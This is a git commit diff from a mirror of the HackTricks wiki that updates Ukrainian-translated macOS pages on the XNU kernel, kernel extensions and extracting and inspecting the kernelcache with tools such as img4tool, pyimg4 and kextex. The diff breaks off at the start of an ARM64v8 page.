mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
06142d5340
commit
63c91c5b8d
5 changed files with 421 additions and 370 deletions
|
@ -1,151 +1,97 @@
|
|||
# Ядро та Системні Розширення macOS
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Червоної Команди HackTricks (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Червоної Команди HackTricks (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ядро XNU
|
||||
## XNU Kernel
|
||||
|
||||
**Основа macOS - це XNU**, що означає "X не є Unix". Це ядро фундаментально складається з **мікроядра Mach** (про яке буде розповідь пізніше), **та** елементів з Berkeley Software Distribution (**BSD**). XNU також надає платформу для **ядерних драйверів через систему, що називається I/O Kit**. Ядро XNU є частиною відкритого проекту Darwin, що означає, що **його вихідний код є вільно доступним**.
|
||||
**Ядро macOS - це XNU**, що означає "X is Not Unix". Це ядро в основному складається з **Mach мікроядра** (про яке буде сказано пізніше) та елементів з Berkeley Software Distribution (**BSD**). XNU також забезпечує платформу для **драйверів ядра через систему, відому як I/O Kit**. Ядро XNU є частиною проекту з відкритим вихідним кодом Darwin, що означає, що **його вихідний код є вільно доступним**.
|
||||
|
||||
З погляду дослідника з безпеки або розробника Unix, **macOS** може виглядати досить **схожим** на систему **FreeBSD** з елегантним GUI та масою власних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності внесення змін, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, через те, що ядро XNU включає Mach, існують деякі значні відмінності між традиційною системою, схожою на Unix, та macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
|
||||
З точки зору дослідника безпеки або розробника Unix, **macOS** може здаватися досить **схожим** на систему **FreeBSD** з елегантним графічним інтерфейсом та безліччю спеціальних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності модифікацій, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, оскільки ядро XNU включає Mach, існують деякі суттєві відмінності між традиційною системою, схожою на Unix, та macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
|
||||
|
||||
Відкрита версія XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach - це **мікроядро**, призначене бути **сумісним з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **просторі ядра**, і натомість дозволяти багатьом типовим функціям ядра, таким як файлова система, мережа та введення/виведення, **виконуватися як завдання на рівні користувача**.
|
||||
Mach - це **мікроядро**, розроблене для того, щоб бути **сумісним з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **ядровому** просторі, і натомість дозволити багатьом типовим функціям ядра, таким як файлові системи, мережі та I/O, **виконуватися як завдання на рівні користувача**.
|
||||
|
||||
У XNU Mach **відповідає за багато критичних операцій на низькому рівні**, які зазвичай обробляє ядро, такі як планування процесора, багатозадачність та управління віртуальною пам'яттю.
|
||||
У XNU Mach **відповідає за багато критично важливих низькорівневих операцій**, які зазвичай обробляє ядро, таких як планування процесора, багатозадачність та управління віртуальною пам'яттю.
|
||||
|
||||
### BSD
|
||||
|
||||
Ядро XNU також **включає** значну кількість коду, походящого з проекту **FreeBSD**. Цей код **виконується як частина ядра разом з Mach**, в тому ж адресному просторі. Однак код FreeBSD в XNU може суттєво відрізнятися від оригінального коду FreeBSD через необхідні модифікації для забезпечення його сумісності з Mach. FreeBSD сприяє багатьом операціям ядра, включаючи:
|
||||
Ядро XNU також **включає** значну кількість коду, отриманого з проекту **FreeBSD**. Цей код **виконується як частина ядра разом з Mach**, в одному адресному просторі. Однак код FreeBSD в XNU може суттєво відрізнятися від оригінального коду FreeBSD, оскільки були потрібні модифікації для забезпечення його сумісності з Mach. FreeBSD сприяє багатьом операціям ядра, включаючи:
|
||||
|
||||
* Управління процесами
|
||||
* Обробка сигналів
|
||||
* Основні механізми безпеки, включаючи управління користувачами та групами
|
||||
* Інфраструктура системних викликів
|
||||
* TCP/IP стек та сокети
|
||||
* Стек TCP/IP та сокети
|
||||
* Брандмауер та фільтрація пакетів
|
||||
|
||||
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні каркаси. Наприклад, BSD використовує процеси як свою основну виконавчу одиницю, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить рівно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в межах ядра використовує функції Mach для створення структури завдання та потоку.
|
||||
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні рамки. Наприклад, BSD використовує процеси як свою основну одиницю виконання, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить точно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в ядрі використовує функції Mach для створення структури завдання та потоку.
|
||||
|
||||
Більше того, **Mach та BSD кожен мають власні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесу**. Розбіжності між цими двома моделями іноді призводили до вразливостей локального підвищення привілеїв. Окрім типових системних викликів, також існують **пастки Mach**, які дозволяють програмам простору користувача взаємодіяти з ядром. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
|
||||
Більше того, **Mach та BSD кожен підтримує різні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесу**. Відмінності між цими двома моделями іноді призводили до вразливостей підвищення локальних привілеїв. Окрім типових системних викликів, також існують **Mach traps, які дозволяють програмам користувацького простору взаємодіяти з ядром**. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
|
||||
|
||||
### I/O Kit - Драйвери
|
||||
|
||||
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Він дозволяє додавати модульний код до ядра на льоту, підтримуючи різноманітне обладнання.
|
||||
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Він дозволяє модульному коду додаватися до ядра на льоту, підтримуючи різноманітне апаратне забезпечення.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### IPC - Міжпроцесова Комунікація
|
||||
### IPC - Міжпроцесна комунікація
|
||||
|
||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
## macOS Kernel Extensions
|
||||
|
||||
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними драйверами пристроїв та розширеннями ядра. Він зберігається у **стиснутому** форматі та розпаковується в пам'ять під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження** за рахунок наявності готової до запуску версії ядра та важливих драйверів, що дозволяє зменшити час та ресурси, які інакше б витрачалися на динамічне завантаження та зв'язування цих компонентів під час завантаження.
|
||||
macOS є **надзвичайно обмеженим для завантаження розширень ядра** (.kext) через високі привілеї, з якими буде виконуватися код. Насправді, за замовчуванням це практично неможливо (якщо не знайдено обхід).
|
||||
|
||||
У iOS він розташований у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, у macOS ви можете знайти його за допомогою **`find / -name kernelcache 2>/dev/null`** або **`mdfind kernelcache | grep kernelcache`**
|
||||
|
||||
Можливо виконати **`kextstat`** для перевірки завантажених розширень ядра.
|
||||
|
||||
#### IMG4
|
||||
|
||||
Формат файлу IMG4 - це контейнерний формат, який використовується Apple у своїх пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (наприклад, **kernelcache**). Формат IMG4 включає заголовок та кілька тегів, які упаковують різні частини даних, включаючи фактичний навантаження (як ядро або завантажувач), підпис, та набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтвердити автентичність та цілісність компонента прошивки перед його виконанням.
|
||||
|
||||
Зазвичай складається з наступних компонентів:
|
||||
|
||||
* **Навантаження (IM4P)**:
|
||||
* Часто стиснене (LZFSE4, LZSS, ...)
|
||||
* Опціонально зашифроване
|
||||
* **Маніфест (IM4M)**:
|
||||
* Містить підпис
|
||||
* Додатковий словник Ключ/Значення
|
||||
* **Інформація про відновлення (IM4R)**:
|
||||
* Також відомий як APNonce
|
||||
* Запобігає повторному відтворенню деяких оновлень
|
||||
* НЕОБОВ'ЯЗКОВО: Зазвичай цього не знаходять
|
||||
|
||||
Розпакуйте Kernelcache:
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### Символи ядра
|
||||
|
||||
Іноді Apple випускає **ядро кешу** з **символами**. Ви можете завантажити деякі прошивки з символами, перейшовши за посиланням на [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
||||
### IPSW
|
||||
|
||||
Це прошивки Apple, які можна завантажити з [**https://ipsw.me/**](https://ipsw.me/). Серед інших файлів вони міститимуть **ядро кешу**.\
|
||||
Для **розпакування** файлів ви можете просто розархівувати їх.
|
||||
|
||||
Після розпакування прошивки ви отримаєте файл, наприклад: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягти цікаву інформацію за допомогою:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
Ви можете перевірити витягнутий kernelcache на символи за допомогою: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
З цим ми тепер можемо **витягнути всі розширення** або **те, що вас цікавить:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Розширення ядра macOS
|
||||
|
||||
macOS **дуже обмежує завантаження розширень ядра** (.kext) через високі привілеї, з якими цей код буде виконуватися. Фактично, за замовчуванням це практично неможливо (якщо не знайдено обхід).
|
||||
На наступній сторінці ви також можете побачити, як відновити `.kext`, які macOS завантажує всередині свого **kernelcache**:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Розширення системи macOS
|
||||
### macOS System Extensions
|
||||
|
||||
Замість використання Розширень ядра macOS створила Розширення системи, які надають API рівня користувача для взаємодії з ядром. Таким чином, розробники можуть уникнути використання розширень ядра.
|
||||
Замість використання розширень ядра macOS створив системні розширення, які пропонують API на рівні користувача для взаємодії з ядром. Таким чином, розробники можуть уникнути використання розширень ядра.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
* [**Посібник хакера Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -21,7 +21,7 @@ Kernel extensions (Kexts) are **пакети** з розширенням **`.kex
|
|||
|
||||
### Requirements
|
||||
|
||||
Очевидно, що це настільки потужно, що **завантажити розширення ядра** є **складним**. Це **вимоги**, які повинно виконувати розширення ядра, щоб бути завантаженим:
|
||||
Очевидно, що це настільки потужно, що **завантажити розширення ядра** є **складним**. Це **вимоги**, які повинні бути виконані, щоб розширення ядра могло бути завантажено:
|
||||
|
||||
* Коли **входите в режим відновлення**, розширення ядра **повинні бути дозволені** для завантаження:
|
||||
|
||||
|
@ -38,31 +38,128 @@ Kernel extensions (Kexts) are **пакети** з розширенням **`.kex
|
|||
У Catalina це виглядало так: Цікаво відзначити, що процес **перевірки** відбувається в **користувацькому просторі**. Однак тільки програми з наданням **`com.apple.private.security.kext-management`** можуть **запитувати у ядра завантажити розширення**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **починає** процес **перевірки** для завантаження розширення
|
||||
* Він спілкуватиметься з **`kextd`**, використовуючи **Mach service**.
|
||||
* Він спілкується з **`kextd`**, використовуючи **Mach service**.
|
||||
2. **`kextd`** перевірить кілька речей, таких як **підпис**
|
||||
* Він спілкуватиметься з **`syspolicyd`**, щоб **перевірити**, чи може розширення бути **завантаженим**.
|
||||
* Він спілкується з **`syspolicyd`**, щоб **перевірити**, чи може розширення бути **завантаженим**.
|
||||
3. **`syspolicyd`** **запитає** **користувача**, якщо розширення не було завантажено раніше.
|
||||
* **`syspolicyd`** повідомить результат **`kextd`**
|
||||
4. **`kextd`** нарешті зможе **сказати ядру завантажити** розширення
|
||||
|
||||
Якщо **`kextd`** недоступний, **`kextutil`** може виконати ті ж перевірки.
|
||||
|
||||
## Referencias
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Навіть якщо очікується, що розширення ядра будуть у `/System/Library/Extensions/`, якщо ви зайдете в цю папку, ви **не знайдете жодного бінарного файлу**. Це пов'язано з **kernelcache**, і для того, щоб зворотно інженерити один `.kext`, вам потрібно знайти спосіб його отримати.
|
||||
{% endhint %}
|
||||
|
||||
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними **драйверами** та **розширеннями ядра**. Він зберігається у **сжатому** форматі і розпаковується в пам'яті під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження**, маючи готову до запуску версію ядра та важливих драйверів, що зменшує час і ресурси, які інакше витрачалися б на динамічне завантаження та зв'язування цих компонентів під час завантаження.
|
||||
|
||||
### Local Kerlnelcache
|
||||
|
||||
В iOS він розташований у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, в macOS ви можете знайти його за допомогою: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
У моєму випадку в macOS я знайшов його в:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
Формат файлу IMG4 - це контейнерний формат, який використовується Apple в її пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (як-от **kernelcache**). Формат IMG4 включає заголовок і кілька тегів, які інкапсулюють різні частини даних, включаючи фактичний корисний навантаження (як-от ядро або завантажувач), підпис і набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтверджувати автентичність та цілісність компонента прошивки перед його виконанням.
|
||||
|
||||
Він зазвичай складається з наступних компонентів:
|
||||
|
||||
* **Payload (IM4P)**:
|
||||
* Часто стиснутий (LZFSE4, LZSS, …)
|
||||
* За бажанням зашифрований
|
||||
* **Manifest (IM4M)**:
|
||||
* Містить підпис
|
||||
* Додатковий словник ключ/значення
|
||||
* **Restore Info (IM4R)**:
|
||||
* Відомий також як APNonce
|
||||
* Запобігає повторному використанню деяких оновлень
|
||||
* OPTIONAL: Зазвичай це не знаходиться
|
||||
|
||||
Розпакуйте Kernelcache:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Завантажити 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
У [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) можна знайти всі набори для налагодження ядра. Ви можете завантажити його, змонтувати, відкрити за допомогою інструменту [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), отримати доступ до папки **`.kext`** та **екстрактувати** його.
|
||||
|
||||
Перевірте його на наявність символів за допомогою:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
Іноді Apple випускає **kernelcache** з **символами**. Ви можете завантажити деякі прошивки з символами, перейшовши за посиланнями на цих сторінках. Прошивки міститимуть **kernelcache** серед інших файлів.
|
||||
|
||||
Щоб **витягти** файли, почніть з зміни розширення з `.ipsw` на `.zip` і **розпакуйте** його.
|
||||
|
||||
Після витягування прошивки ви отримаєте файл на кшталт: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягти цікаву інформацію за допомогою:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Inspecting kernelcache
|
||||
|
||||
Перевірте, чи має kernelcache символи з
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
З цим ми тепер можемо **витягти всі розширення** або **те, яке вас цікавить:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Посилання
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,258 +1,257 @@
|
|||
# Вступ до ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Рівні винятків - EL (ARM64v8)**
|
||||
## **Рівні виключень - EL (ARM64v8)**
|
||||
|
||||
У архітектурі ARMv8 рівні виконання, відомі як Рівні винятків (EL), визначають рівень привілеїв та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен служить різним цілям:
|
||||
